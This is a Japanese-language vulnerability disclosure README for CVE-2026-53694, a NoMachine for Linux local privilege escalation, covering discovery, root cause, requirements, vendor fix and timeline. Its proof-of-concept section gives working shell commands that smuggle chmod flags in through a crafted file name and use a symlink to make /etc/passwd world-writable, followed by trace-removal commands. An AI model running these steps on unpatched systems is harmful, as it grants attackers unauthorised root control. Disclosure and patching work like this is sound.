CVE-2026-53694: 引数インジェクションによるNoMachineのローカル権限昇格

概要

このリポジトリは、CVE-2026-53694（NoMachine for Linuxにおけるローカル権限昇格（LPE）脆弱性）の報告書と概念実証（PoC）を含んでいます。

nxchmod.shスクリプトにおける引数区切りの不適切な無害化により、ローカルの非特権ユーザーがrootとして実行されるシステムコマンドに引数を注入できます。この引数インジェクションとシンボリックリンクを組み合わせることで、攻撃者は重要なシステムファイル（/etc/passwdなど）を上書きし、権限をrootに昇格させることができます。

この脆弱性はベンダーによって完全に修正されています。

発見の経緯

この脆弱性の発見は、試行錯誤と深夜の気づきによるプロセスでした。以下が発見の経緯です。

ターゲットの観察: /usr/NX/scripts/restricted/nxchmod.shスクリプトがrootユーザーによって定期的に実行され、特定のディレクトリ内のパーミッションを管理していることに気付きました。
初期のアイデア（行き詰まり）: スクリプトがファイルにchmod a+rwを適用しているのを見て、*宛先を制御できるなら、シンボリックリンクを使って/etc/passwdを書き込み可能にできないか？*と考えました。標準的なシンボリックリンク（ln -s /etc/passwd /tmp/asdf）を試しましたが、失敗しました。/tmpのようなディレクトリのスティッキービットにより、rootユーザーが他のユーザーが作成したシンボリックリンクを無差別に辿ることができないためです。
突破口: 後でスクリプトの実行を見直したとき、コマンドがどのように構築されているかに気付きました: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。スクリプトはリテラルのファイル名をそのままchmodに渡していました。
ファイル名を介したコマンドインジェクション: スペースとフラグを含む名前のファイルを作成できることに気付きました。X1234 -R -Lという名前のファイルを作成しました。スクリプトが実行されると、chmodコマンドはこれを単一のファイルパスではなく引数として展開しました。
スティッキービットの回避: ファイル名を介して-L（シンボリックリンクを辿る）および-R（再帰的）フラグをchmodコマンドに注入することで、chmodバイナリ自体にディレクトリ内に作成したシンボリックリンクを解決・追跡させ、スティッキービット保護を完全に回避しました。
LPEの達成: /etc/passwdが書き込み可能（a+rw）になれば、新しいrootユーザーをファイルに追加し、suでそのユーザーに切り替えるだけで済みます。

技術的解析

この脆弱性は、NoMachineがX11/Waylandソケットのパーミッションを処理する方法に起因します。nxchmod.shスクリプトは、rootとして実行されるnxserver.binデーモンによって起動されます。

脆弱な実行は次のようになります：

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

攻撃者がディレクトリ構造とX1234 -R -Lという名前のファイルを作成すると、rootによって実行されるコマンドは次のようになります： /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

/etc/passwdを指すシンボリックリンクをX1234ディレクトリ内に配置すると、注入された-Rおよび-L引数によりchmodがシンボリックリンクを再帰的に辿り、対象ファイルにグローバルな読み取り/書き込み権限を付与します。

エクスプロイトの要件

このエクスプロイトが機能するには、ターゲットシステムが以下の条件を満たす必要があります：

OSがWayland（X11ではない）を使用している必要があります。
Xwaylandが有効である必要があります。
グラフィカルセッションが実行されている必要があります（ログイン画面で十分です）。

概念実証

この脆弱性は、シェルコマンドを使用して手動で、または提供されているPythonスクリプトを使用して自動的に再現できます。

方法1: 手動実行（シェル）

/tmp/.X11-unix/に移動し、以下のコマンドを実行して悪意のあるディレクトリ構造を作成します。

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

脆弱性を確認し権限昇格が完了したら、以下のクリーンアップコマンドを実行してシステムの安定性を回復し、痕跡を削除します。

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

方法2: 自動化エクスプロイト

完全な自動化エクスプロイトがpoc.pyで提供されています。このスクリプトはWaylandの要件を確認し、シンボリックリンクを設定し、nxchmod.shの実行サイクルを待機し、新しいrootユーザー（gg）を/etc/passwdに注入します。

エクスプロイトを実行するには：

python3 poc.py

修正

この脆弱性はNoMachineによって対処されました。ユーザーは以下のバージョン以降に更新する必要があります：

NoMachine 9.5.7
NoMachine 8.23.2

タイムライン

2026-04-20: 脆弱性をベンダーに報告。
2026-04-23: ベンダーが脆弱性を確認し、調整開示に合意。
2026-05-07: ベンダーが修正版（9.5.7および8.23.2）をリリースし、トラブルレポートTR04X11802を公開。
2026-06-10: CVE-2026-53694がNVDに公開。（公式のMITREレコードは現在、完全な分析とクレジットの更新待ちです（最終確認日：2026-07-01））

CVE-2026-53694-NoMachine-LPE

人気